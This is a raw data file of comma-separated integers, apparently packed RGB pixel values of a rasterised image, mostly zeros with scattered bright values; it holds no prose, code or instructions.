0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493467,14408667,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827302,6710886,6699520,0,0,0,0,0,0,0,0,58,3827302,6710886,6699520,0,0,0,0,0,0,58,6710886,6710886,3801088,0,3827302,6710886,6699578,0,0,0,0,3816038,6710886,3801088,0,0,0,0,0,0,0,0,0,0,3816038,6699578,0,0,14906,6710842,3801088,0,0,0,0,0,0,3838171,16777215,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827302,6710886,6710842,0,0,0,0,0,0,0,0,0,3827302,6710886,6710842,0,0,0,0,0,0,58,3827302,6710886,6699520,0,14950,6710886,6710842,3801088,0,0,0,0,14906,6710842,3801088,0,58,6710886,3815936,0,0,0,0,0,0,58,3827302,6710886,6699520,0,0,0,0,0,0,0,0,58,3827302,6710886,6699520,0,0,0,0,0,0,58,6710886,6710886,3801088,0,3827302,6710886,6699578,0,0,0,0,0,3816038,6699578,0,0,14906,6710842,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816038,6710886,3801088,0,0,0,0,0,0,0,0,0,0,0,58,9483958,11974326,9452032,0,0,0,0,0,0,0,0,58,6721718,11974326,9463296,0,0,0,0,0,0,58,9483958,11974288,6684672,0,6721718,11974326,9463354,0,0,0,0,6731483,14408630,9452032,0,0,3827302,6710886,3815936,0,0,0,0,0,3838134,11964474,0,0,3827344,11974288,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827302,6710886,6699520,0,0,0,0,0,0,0,0,58,3827302,6710886,6699520,0,0,0,0,0,0,58,6710886,6710886,3801088,0,3827302,6710886,6699578,0,0,0,0,0,3816038,6699578,0,0,14906,6710842,3801088,0,0,0,0,0,0,58,3827302,6710886,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827382,11974326,9463354,0,0,0,0,0,0,0,0,0,0,0,0,26256,11974326,11964518,0,0,0,0,0,0,0,102,9483958,11974246,3801088,0,0,0,0,0,0,0,0,0,0,0,58,9483958,11964518,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408667,14408667,11953722,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26256,11974326,11964518,0,0,0,0,0,0,0,0,0,0,0,0,14950,11974326,11964518,3801088,0,0,0,0,0,0,58,6731446,11974288,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493467,14408667,9463296,0,0,0,0,0,0,0,0,0,0,0,58,9483995,14408667,11953664,0,0,0,0,0,0,0,26294,14408667,14399078,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6721718,11974288,3801088,0,0,0,0,26256,11974326,11964518,0,0,0,0,0,0,0,0,0,0,0,0,14950,11974326,11964518,3801088,0,0,0,0,0,0,58,6731446,11974288,6699520,0,0,0,0,0,0,0,0,0,0,0,0,3816038,6710842,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,14408667,14389306,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408667,14399078,0,0,0,0,0,0,0,14992,11983835,14408630,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,11983835,14408592,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,11983871,16777215,16777215,16777179,9452032,0,0,102,11993087,16777215,16777215,16777179,11953722,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777179,9452032,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,11983835,14399078,3801088,0,0,0,0,0,0,0,0,0,14992,11983835,14399078,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,6731519,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,58,3827382,14408667,16777215,16777215,16777215,16777215,16767888,6684672,0,0,0,58,9483995,14399120,3801088,0,3838134,14408630,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,6731519,16777215,16777215,14389306,0,0,0,0,0,0,102,11983871,16777215,16767926,9463354,102,11993087,16767888,3801088,0,0,0,58,6721718,9463354,0,0,3827344,11964518,3801088,0,0,0,0,0,26294,16777215,14389350,6721755,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,3838171,16777215,16777215,16758374,0,0,0,0,0,0,0,3816038,6699578,0,0,14906,6710842,3801088,0,0,0,0,0,0,26294,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,0,102,11993087,16777215,16777215,11953664,0,0,0,0,0,0,14950,9483920,6699520,0,58,6721718,9463354,0,0,0,0,0,14992,11974288,6699520,0,0,0,0,0,0,0,0,102,9493503,16777215,16777179,11953722,58,9493503,16777142,6684672,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,3838171,16777215,16777215,16758374,0,0,0,0,0,0,0,6731483,14408667,14408630,6699578,0,6731519,16777142,6684672,0,0,0,0,3816038,6699578,0,0,14906,6710842,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,58,9493503,16777215,16777215,16758374,0,0,0,0,0,0,58,6721718,9463354,0,0,3827344,11964518,3801088,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827344,11964518,3801088,0,14950,9483920,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,102,11993087,16777215,11953664,58,9493503,16777215,14389306,0,0,0,0,0,26294,16777215,11953664,0,102,11993087,16767888,3801088,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399120,6699520,0,0,0,14950,11983871,16777215,16777215,14399078,3801088,0,0,0,0,0,0,0,0,14950,11983835,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,14992,14417919,16777215,16767926,9463354,3815994,0,0,0,0,14906,3816038,9483995,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,14950,11983835,16777215,16777215,16767963,11953722,0,0,0,0,0,0,3816038,11983835,16777215,16777215,14389306,0,0,0,0,0,0,58,6731483,14417919,16777215,16777215,16767963,11953722,0,0,0,0,0,58,6721718,14408703,16777215,16777215,16777179,14399120,3801088,0,0,0,0,0,3815994,3815936,0,0,102,11993087,16777179,9452032,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,58,3827344,11983835,14417919,16777142,6684672,0,58,9493503,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,58,6721718,14408703,16777215,16777215,16777179,14399120,6699520,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399120,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6721718,14408703,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,14950,9483995,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,58,3827382,14408667,16777215,16777215,16777215,14408630,9463354,0,0,3838171,16777215,16777215,16777215,16777215,16777179,14399120,6699520,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,58,6721718,14408703,16777215,16777215,16777179,14399120,6699520,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,